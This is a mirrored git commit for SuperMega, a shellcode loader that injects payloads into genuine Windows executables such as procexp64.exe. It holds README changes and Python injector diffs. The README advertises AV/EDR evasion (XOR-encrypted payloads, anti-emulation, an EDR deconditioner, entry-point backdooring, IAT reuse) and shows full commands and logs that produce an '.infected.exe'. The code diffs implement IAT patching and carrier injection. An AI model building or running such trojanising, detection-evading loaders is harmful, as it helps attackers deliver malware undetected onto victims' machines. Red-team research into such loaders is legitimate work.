mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
refactor: more commandline usability cleanup
This commit is contained in:
@@ -1,25 +1,28 @@
|
||||
# SuperMega - Cordyceps Implementation
|
||||
|
||||
> Ophiocordyceps camponoti-balzani is a species of fungus that parasitizes
|
||||
> insect hosts of the order Hymenoptera, primarily ants. O.
|
||||
> camponoti-balzani infects ants, and eventually kills the hosts after
|
||||
> insect hosts of the order Hymenoptera, primarily ants.
|
||||
> O. camponoti-balzani infects ants, and eventually kills the hosts after
|
||||
> they move to an ideal location for the fungus to spread its spores.
|
||||
|
||||
|
||||
## What
|
||||
|
||||
SuperMega is a shellcode loader by injecting it into genuine executables (.exe or .dll).
|
||||
The loader is programmed in C.
|
||||
|
||||
The idea is that injecting shellcode nicely into a non-malicious executable should make
|
||||
it less detected.
|
||||
The loader shellcode will be tightly integrated into the .exe so that static analysis
|
||||
has a hard time to spot that the exe is infected. Static analysis will just see
|
||||
the genuine exe artefacts.
|
||||
|
||||
It also uses modern anti-EDR mechanisms so that the shellcode loading is less likely
|
||||
to be detected.
|
||||
|
||||
Features:
|
||||
* Encrypt payload
|
||||
* Encrypt payload with XOR
|
||||
* Execution guardrails, so payload is only decrypted on target
|
||||
* Anti emulation, against AV emulators
|
||||
* Anti emulation, against AV emulators detecting the payload in memory
|
||||
* EDR deconditioner, against EDR memory scan
|
||||
* Keep all original properties of the executable (imports etc.)
|
||||
* Keep all original properties of the executable (imports, metadata etc.)
|
||||
* Very small carrier loader
|
||||
* Code execution with main function hijacking
|
||||
* No PEB walk, reuses IAT to execute windows api functions
|
||||
@@ -35,7 +38,29 @@ References:
|
||||

|
||||
|
||||
|
||||
## Usage
|
||||
## Usage Preparation
|
||||
|
||||
SuperMega depends on VS2022 compiler.
|
||||
|
||||
Start `x64 native tools command prompt` to execute `web.py` or `supermega.py`.
|
||||
|
||||
Or alternatively if you want to use an existing shell, e.g. for VSC:
|
||||
|
||||
In powershell:
|
||||
```
|
||||
> cmd.exe /k "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
|
||||
```
|
||||
|
||||
In cmd:
|
||||
```
|
||||
> call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
|
||||
```
|
||||
|
||||
Adjust paths as necessary. This should make `cl.exe` and `Windows.h` available, which are required for
|
||||
compilation of the carrier shellcode.
|
||||
|
||||
|
||||
## Usage Web
|
||||
|
||||
```
|
||||
> ./web.py
|
||||
@@ -44,15 +69,98 @@ References:
|
||||
Browse to `http://localhost:5001".
|
||||
|
||||
|
||||
Alternatively, use `./supermega.py --help`, but its not well supported.
|
||||
## Usage Command LIne
|
||||
|
||||
Example to inject `calc64.exe` shellcode into `7z.exe`:
|
||||
|
||||
```
|
||||
PS C:\Users\dobin\Repos\SuperMega> cmd.exe /k "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" x64
|
||||
**********************************************************************
|
||||
** Visual Studio 2022 Developer Command Prompt v17.12.4
|
||||
** Copyright (c) 2022 Microsoft Corporation
|
||||
**********************************************************************
|
||||
[vcvarsall.bat] Environment initialized for: 'x64'
|
||||
|
||||
C:\Users\dobin\Repos\SuperMega>python.exe supermega.py
|
||||
(helper.py ) Write project to: projects/commandline/project.pickle
|
||||
(project.py ) -[ Cleanup project: commandline
|
||||
(payload.py ) -[ Payload: data/binary/shellcodes/calc64.bin
|
||||
(payload.py ) Size: 272 bytes
|
||||
(templater.py ) -[ Carrier create Template: projects/commandline/main.c
|
||||
(templater.py ) Carrier: alloc_rw_rx
|
||||
(templater.py ) Carrier: Code into: .text
|
||||
(templater.py ) Carrier: Decoder: xor_2
|
||||
(templater.py ) Carrier: Invoker: backdoor Entrypoint
|
||||
(templater.py ) Carrier AntiEmulation: sirallocalot
|
||||
(templater.py ) Carrier Guardrail: none
|
||||
(templater.py ) Carrier Decoy: none
|
||||
(compiler.py ) -[ Carrier: Compile C to ASM
|
||||
(compiler.py ) Carrier: projects/commandline/main.c -> projects/commandline/main.asm
|
||||
(helper.py ) > Run process: cl.exe /c /FA /GS- /Faprojects/commandline/ projects/commandline/main.c
|
||||
(assembler.py ) -[ Carrier: ASM to EXE
|
||||
(assembler.py ) Carrier: projects/commandline/main.asm -> projects/commandline/main.exe
|
||||
(helper.py ) > Run process: ml64.exe projects/commandline/main.asm /link /OUT:projects/commandline/main.exe /entry:AlignRSP
|
||||
(assembler.py ) Carrier Size: 590
|
||||
(injector.py ) -[ Injecting Carrier
|
||||
(injector.py ) Injectable: data/binary/exes/procexp64.exe -> projects/commandline/procexp64.infected.exe
|
||||
(injector.py ) Checking if IAT entries required by carrier are available
|
||||
(injector.py ) IAT entries missing: 0
|
||||
(injector.py ) Inject: Write Carrier to 0x71C8D (0x7108D)
|
||||
(injector.py ) Backdoor function at entrypoint (0xE1D78)
|
||||
(injector.py ) Inject Carrier data into injectable .rdata/.text
|
||||
(injector.py ) Patch Carrier code to reference the injected data
|
||||
(injector.py ) -[ Write to file: projects/commandline/procexp64.infected.exe
|
||||
```
|
||||
|
||||
To inject shellcode `messagebox.bin` into injectable `procexp64.exe` with carrier `alloc_rw_rx` and decoder `xor_1`, where:
|
||||
* shellcode `messagebox.bin`: `data/binary/shellcodes/messagebox.bin`
|
||||
* injectable `procexp64.exe`: `data/binary/exes/procexp64.exe`
|
||||
* carrier `alloc_rw_rx`: `data/source/carrier/alloc_rw_rx/template.c`
|
||||
* decoder `xor_1`: `data/source/decoder/xor_1.c`
|
||||
|
||||
```
|
||||
> python.exe supermega.py --shellcode messagebox.bin --inject procexp64.exe --carrier alloc_rw_rx --decoder xor_1
|
||||
(helper.py ) Write project to: projects/commandline/project.pickle
|
||||
(project.py ) -[ Cleanup project: commandline
|
||||
(payload.py ) -[ Payload: data/binary/shellcodes/messagebox.bin
|
||||
(payload.py ) Size: 433 bytes
|
||||
(templater.py ) -[ Carrier create Template: projects/commandline/main.c
|
||||
(templater.py ) Carrier: alloc_rw_rx
|
||||
(templater.py ) Carrier: Code into: .text
|
||||
(templater.py ) Carrier: Decoder: xor_1
|
||||
(templater.py ) Carrier: Invoker: backdoor Entrypoint
|
||||
(templater.py ) Carrier AntiEmulation: sirallocalot
|
||||
(templater.py ) Carrier Guardrail: none
|
||||
(templater.py ) Carrier Decoy: none
|
||||
(compiler.py ) -[ Carrier: Compile C to ASM
|
||||
(compiler.py ) Carrier: projects/commandline/main.c -> projects/commandline/main.asm
|
||||
(helper.py ) > Run process: cl.exe /c /FA /GS- /Faprojects/commandline/ projects/commandline/main.c
|
||||
(assembler.py ) -[ Carrier: ASM to EXE
|
||||
(assembler.py ) Carrier: projects/commandline/main.asm -> projects/commandline/main.exe
|
||||
(helper.py ) > Run process: ml64.exe projects/commandline/main.asm /link /OUT:projects/commandline/main.exe /entry:AlignRSP
|
||||
(assembler.py ) Carrier Size: 576
|
||||
(injector.py ) -[ Injecting Carrier
|
||||
(injector.py ) Injectable: data/binary/exes/procexp64.exe -> projects/commandline/procexp64.infected.exe
|
||||
(injector.py ) Checking if IAT entries required by carrier are available
|
||||
(injector.py ) IAT entries missing: 0
|
||||
(injector.py ) Inject: Write Carrier to 0x71C43 (0x71043)
|
||||
(injector.py ) Backdoor function at entrypoint (0xE1D78)
|
||||
(injector.py ) Inject Carrier data into injectable .rdata/.text
|
||||
(injector.py ) Patch Carrier code to reference the injected data
|
||||
(injector.py ) -[ Write to file: projects/commandline/procexp64.infected.exe
|
||||
|
||||
> C:\Users\dobin\Repos\SuperMega>.\projects\commandline\procexp64.infected.exe
|
||||
```
|
||||
|
||||
|
||||
## Directories
|
||||
|
||||
* `data/binary/shellcodes`: Input: Shellcodes we want to use as input (payload)
|
||||
* `data/binary/exes/`: Input: Nonmalicious EXE files we inject into
|
||||
* `data/source/carrier`: Input: Carrier C templates
|
||||
* `projects/<projectname>`: output: Project directory with all files
|
||||
* `projects/default`: output: Project directory with all files
|
||||
* `projects/<projectname>`: output: Project directory with generated files, including infected exe
|
||||
* `projects/default`: output: Project directory with all files from web
|
||||
* `projects/commandline`: output: Project directory with all files from commandline
|
||||
|
||||
|
||||
## Installation
|
||||
@@ -71,36 +179,6 @@ And the python packages:
|
||||
> pip.exe install -r requirements.txt
|
||||
```
|
||||
|
||||
### How to get the right paths
|
||||
|
||||
Either start the "visual studio developer console", or
|
||||
use the following commandline to get all the env right.
|
||||
Use this when `Cannot find Windows.h`.
|
||||
|
||||
```
|
||||
cmd.exe /c "`"C:\Program Files (x86)\Microsoft Visual Studio\<year>\<edition>\Common7\Tools\VsDevCmd.bat`" && powershell"
|
||||
```
|
||||
|
||||
Also make sure radare2 is in path if you wanna use it:
|
||||
```
|
||||
$Env:PATH += ";C:\Tools\radare2-5.8.8-w64\bin"
|
||||
```
|
||||
|
||||
|
||||
### Alternative Path Setup
|
||||
|
||||
Try using:
|
||||
```
|
||||
"C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat"
|
||||
```
|
||||
|
||||
or the VS developer console to find the damn environment variables, and set
|
||||
it in your python console. In my case:
|
||||
```
|
||||
$env:INCLUDE = "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt;C:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um"
|
||||
$env:LIB="C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x64;C:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\lib\um\x64;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x64;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x64"
|
||||
$env:LIBPATH="C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\ATLMFC\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x64;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.37.32822\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework64\v4.0.30319"
|
||||
```
|
||||
|
||||
### VS2022 Components
|
||||
|
||||
|
||||
+1
-1
@@ -322,7 +322,7 @@ class SuperPe():
|
||||
new_name_bytes = new_func_name.encode("ascii") + b'\x00' * (len(func_name) - len(new_func_name))
|
||||
|
||||
# Overwrite the name in the file data
|
||||
logger.info(" Patch IAT entry at offset 0x{:X} from {} to {}".format(
|
||||
logger.debug(" Patch IAT entry at offset 0x{:X} from {} to {}".format(
|
||||
offset, func_name, new_name_bytes.decode()))
|
||||
self.pe.set_bytes_at_offset(offset, new_name_bytes)
|
||||
|
||||
|
||||
+19
-12
@@ -157,27 +157,25 @@ class Injector():
|
||||
|
||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||
addr = self.superpe.getExportEntryPoint(self.settings.dllfunc)
|
||||
logger.info(" Inject: Backdoor DLL {} (0x{:X})".format(
|
||||
logger.info(" Backdoor DLL {} (0x{:X})".format(
|
||||
self.settings.dllfunc, addr))
|
||||
self.function_backdoorer.backdoor_function(
|
||||
addr, self.carrier_rva, carrier_shc_len)
|
||||
|
||||
else: # EXE
|
||||
if carrier_invoke_style == CarrierInvokeStyle.ChangeEntryPoint:
|
||||
logger.info(" Inject: Change Entry Point to 0x{:X}".format(
|
||||
logger.info(" Change Entry Point to 0x{:X}".format(
|
||||
self.carrier_rva))
|
||||
self.superpe.set_entrypoint(self.carrier_rva)
|
||||
|
||||
elif carrier_invoke_style == CarrierInvokeStyle.BackdoorCallInstr:
|
||||
addr = self.superpe.get_entrypoint()
|
||||
logger.info(" Inject EXE: Backdoor function at entrypoint (0x{:X})".format(
|
||||
logger.info(" Backdoor function at entrypoint (0x{:X})".format(
|
||||
addr))
|
||||
self.function_backdoorer.backdoor_function(
|
||||
addr, self.carrier_rva, carrier_shc_len)
|
||||
|
||||
logger.info(" Fix imports and make carrier reference IAT")
|
||||
self.injectable_write_iat_references()
|
||||
logger.info(" Insert and reference carrier data")
|
||||
self.inject_and_reference_data()
|
||||
|
||||
# changes from console to UI (no console window) if necessary
|
||||
@@ -200,23 +198,31 @@ class Injector():
|
||||
|
||||
def injectable_patch_iat(self):
|
||||
logger.info(" Checking if IAT entries required by carrier are available")
|
||||
# Patch IAT (if necessary and wanted)
|
||||
for iatRequest in self.injectable.get_all_iat_requests():
|
||||
iatRequests = self.injectable.get_all_iat_requests()
|
||||
iatMissing = []
|
||||
|
||||
for iatRequest in iatRequests:
|
||||
# skip available
|
||||
addr = self.superpe.get_vaddr_of_iatentry(iatRequest.name)
|
||||
if addr != None:
|
||||
logger.debug(" Request IAT {} is available at 0x{:X}".format(
|
||||
iatRequest.name, addr))
|
||||
continue
|
||||
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
|
||||
else:
|
||||
logger.debug(" Request IAT {} is NOT available".format(
|
||||
iatRequest.name))
|
||||
iatMissing.append(iatRequest)
|
||||
|
||||
logger.info(" IAT entries missing: {}".format(len(iatMissing)))
|
||||
for iatRequest in iatMissing:
|
||||
# Not available, check if we can patch it
|
||||
iat_name = self.superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
|
||||
if not self.settings.fix_missing_iat:
|
||||
raise Exception("Error: {} not available, but fix_missing_iat is False".format(
|
||||
iatRequest.name))
|
||||
# do the patch
|
||||
self.superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
|
||||
#logger.info(" Unavailable IAT {} now patched".format(
|
||||
# iatRequest.name))
|
||||
logger.info(" Patch injectable to import {}".format(
|
||||
iatRequest.name))
|
||||
# we modify the IAT raw, so reparsing is required
|
||||
self.superpe.pe.parse_data_directories()
|
||||
self.superpe.init_iat_entries()
|
||||
@@ -266,6 +272,7 @@ class Injector():
|
||||
return
|
||||
|
||||
# insert data
|
||||
logger.info(" Inject Carrier data into injectable .rdata/.text")
|
||||
for datareuse_fixup in reusedata_fixups:
|
||||
logger.debug(" Handling DataReuse Fixup: {} (.code: {})".format(
|
||||
datareuse_fixup.string_ref, datareuse_fixup.in_code))
|
||||
@@ -298,7 +305,7 @@ class Injector():
|
||||
datareuse_fixup.addr, data_rva, datareuse_fixup.string_ref, ui_string_decode(var_data)))
|
||||
|
||||
# replace the placeholder in .text with a LEA instruction to the data we written above
|
||||
logger.info(" Datareusefixups: patch code to reference the data")
|
||||
logger.info(" Patch Carrier code to reference the injected data")
|
||||
code = self.superpe.get_code_section_data()
|
||||
for datareuse_fixup in reusedata_fixups:
|
||||
ref: DataReuseReference
|
||||
|
||||
@@ -31,6 +31,10 @@ def create_c_from_template(settings: Settings, payload_len: int):
|
||||
logger.info("-[ Carrier create Template: {}".format(
|
||||
settings.main_c_path))
|
||||
|
||||
# check that source directory exists
|
||||
if not os.path.exists(src):
|
||||
raise FileNotFoundError("Source directory does not exist: {}".format(src))
|
||||
|
||||
# copy *.c *.h files from src directory to dst directory
|
||||
for file in os.listdir(src):
|
||||
if file.endswith(".c") or file.endswith(".h"):
|
||||
|
||||
@@ -156,7 +156,11 @@ def start_real(settings: Settings):
|
||||
project.payload.payload_data = preload_dll(project.payload.payload_path)
|
||||
|
||||
# CREATE: Carrier C source files from template (C->C)
|
||||
try:
|
||||
phases.templater.create_c_from_template(settings, len(project.payload.payload_data))
|
||||
except FileNotFoundError as e:
|
||||
logger.error("Error creating C from template: {}".format(e))
|
||||
return 1
|
||||
|
||||
# PREPARE DataReuseEntry for usage in Compiler/AsmTextParser
|
||||
# So the carrier is able to find the payload
|
||||
|
||||
Reference in New Issue
Block a user